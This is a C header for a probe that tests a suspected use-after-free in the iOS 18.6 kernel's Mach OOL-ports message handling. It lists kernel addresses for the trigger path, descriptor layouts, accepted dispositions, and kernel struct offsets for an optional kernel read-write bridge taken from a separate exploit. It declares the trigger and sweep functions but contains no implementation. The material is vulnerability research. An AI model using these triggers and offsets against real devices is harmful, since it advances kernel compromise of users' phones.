/*
 * ool-uaf-probe.h — Mach OOL-ports array UAF probe (iOS 18.6 / xnu-11417)
 *
 * Trigger surface (see OOL-PORT-ARRAY-HUNT.md):
 *   ipc_kmsg_copyin_body type==2 path at 0xfffffff007ff466c
 *   kalloc(count*8) at 0xfffffff007ff46d4, NO ool_port_array_enforced gate.
 *   18.6 accepts every disposition for MACH_MSG_OOL_PORTS_DESCRIPTOR
 *   (26.0 SITE1 rejects anything except MACH_MSG_TYPE_COPY_SEND).
 *
 * Detection only. No kernel writes. Failures are data, never panics.
 */
#ifndef OOL_UAF_PROBE_H
#define OOL_UAF_PROBE_H

#include <mach/mach.h>
#include <mach/message.h>
#include <stdint.h>
#include <stddef.h>

#ifdef __cplusplus
extern "C" {
#endif

/* --------------------------------------------------------------------
 * Descriptor layouts.
 *
 * The kernel's copyin walk of a 16-byte OOL-ports descriptor reads:
 *   +0x00  address (8)
 *   +0x08  [deallocate:8][copy:8][disposition:8][type:8]
 *          disposition = bits 16-23, type = bits 24-31
 *   +0x0c  count (u32)
 * That is the "raw16" form below. The iOS SDK's
 * mach_msg_ool_ports_descriptor_t may pack differently (bitfields after
 * count, or extra pad bytes). We try both and record which one the
 * kernel accepted (send kr + received descriptor count).
 * ------------------------------------------------------------------ */

#pragma pack(push, 1)
typedef struct ool_ports_raw16 {
    void    *address;       /* +0x00 */
    uint8_t  deallocate;    /* +0x08 bits 0-7   */
    uint8_t  copy;          /* +0x09 bits 8-15  */
    uint8_t  disposition;   /* +0x0a bits 16-23 */
    uint8_t  type;          /* +0x0b bits 24-31 */
    uint32_t count;         /* +0x0c */
} ool_ports_raw16_t;

/* SDK-shaped fallback: count then bitfields (24-byte class). */
typedef struct ool_ports_sdk {
    void    *address;       /* +0x00 */
    uint32_t count;         /* +0x08 */
    uint8_t  deallocate;    /* +0x0c */
    uint8_t  copy;          /* +0x0d */
    uint8_t  pad1;          /* +0x0e */
    uint8_t  disposition;   /* +0x0f */
    uint8_t  type;          /* +0x10 */
    uint8_t  pad2;          /* +0x11 */
    uint8_t  pad3[2];
} ool_ports_sdk_t;
#pragma pack(pop)

/* Dispositions accepted on 18.6 (all of them; 26.0 allows only COPY_SEND). */
#define OOL_DISP_MOVE_RECEIVE   MACH_MSG_TYPE_MOVE_RECEIVE   /* 0x10 */
#define OOL_DISP_MOVE_SEND      MACH_MSG_TYPE_MOVE_SEND      /* 0x11 */
#define OOL_DISP_MOVE_SEND_ONCE MACH_MSG_TYPE_MOVE_SEND_ONCE /* 0x12 */
#define OOL_DISP_COPY_SEND      MACH_MSG_TYPE_COPY_SEND      /* 0x13 */
#define OOL_DISP_MAKE_SEND      MACH_MSG_TYPE_MAKE_SEND      /* 0x14 */
#define OOL_DISP_MAKE_SEND_ONCE MACH_MSG_TYPE_MAKE_SEND_ONCE /* 0x15 */
#define OOL_DISP_COPY_RECEIVE   MACH_MSG_TYPE_COPY_RECEIVE   /* 0x16 */

/* --------------------------------------------------------------------
 * Optional KRW bridge (KexProofV2 ClearSword). NULL = userspace-only.
 * ------------------------------------------------------------------ */
typedef struct ool_uaf_krw {
    /* return 0 on success; len in bytes */
    int      (*kread)(uint64_t addr, void *buf, size_t len);
    /* strip PAC / SMR tags as house style (kp_untag_ptr) */
    uint64_t (*untag)(uint64_t p);
    /* decode SMR-encoded is_table pointer; NULL = treat as raw */
    uint64_t (*smr_decode)(uint64_t raw);

    uint64_t self_task_va;            /* kernel VA of our task (NOT the port name) */
    uint32_t off_task_itk_space;      /* 0x318 on 18.x */
    uint32_t off_ipc_space_is_table;  /* 0x20  on 18.x */
    uint32_t off_ipc_entry_ie_object; /* 0x00  on 18.x */
    uint32_t off_ipc_port_ip_kobject; /* 0x48  on 18.x */
    uint32_t sizeof_ipc_entry;        /* 0x18  on 18.x */

    /* Optional field offsets. 0 = unknown (probe then dumps the window). */
    uint32_t off_ipc_port_ip_srights;
    uint32_t off_ipc_port_ip_mscount;
} ool_uaf_krw_t;

/* Per-case observation block. */
typedef struct ool_uaf_result {
    char     tag[40];
    uint32_t count;
    uint8_t  disposition;
    int      use_raw_desc;
    int      dup_names;
    int      bump_urefs;

    kern_return_t send_kr;
    kern_return_t recv_kr;

    uint32_t type_before;
    uint32_t type_after;
    int32_t  urefs_before;
    int32_t  urefs_after;
    int32_t  rrefs_before;
    int32_t  rrefs_after;

    int      name_listed;
    int      name_alive;
    int      port_alive;
    int      recv_count;

    /* KRW (0 if not run) */
    uint64_t ipc_port_va;
    uint32_t io_bits_before,  io_bits_after;
    uint32_t io_refs_before,  io_refs_after;
    int32_t  srights_before,  srights_after;
    int32_t  mscount_before,  mscount_after;
    uint32_t srights_off;
    uint32_t mscount_off;
} ool_uaf_result_t;

/*
 * Run one trigger case. Cleans up every port it allocates.
 * Returns 0 if the case ran (send failure is data, not an error).
 * Returns -1 only for local setup failure.
 */
int ool_uaf_trigger_once(uint32_t count,
                         uint8_t disposition,
                         int dup_names,
                         int use_raw_desc,
                         int bump_urefs,
                         const ool_uaf_krw_t *krw,
                         ool_uaf_result_t *out);

/*
 * Full probe: sweeps dispositions × counts × desc layouts, writes a
 * KPDump-style text report into buf. Returns strlen(buf).
 * VERIFY line is last.
 */
size_t ool_uaf_probe_run(char *buf, size_t buflen,
                         const ool_uaf_krw_t *krw);

#ifdef __cplusplus
}
#endif
#endif /* OOL_UAF_PROBE_H */
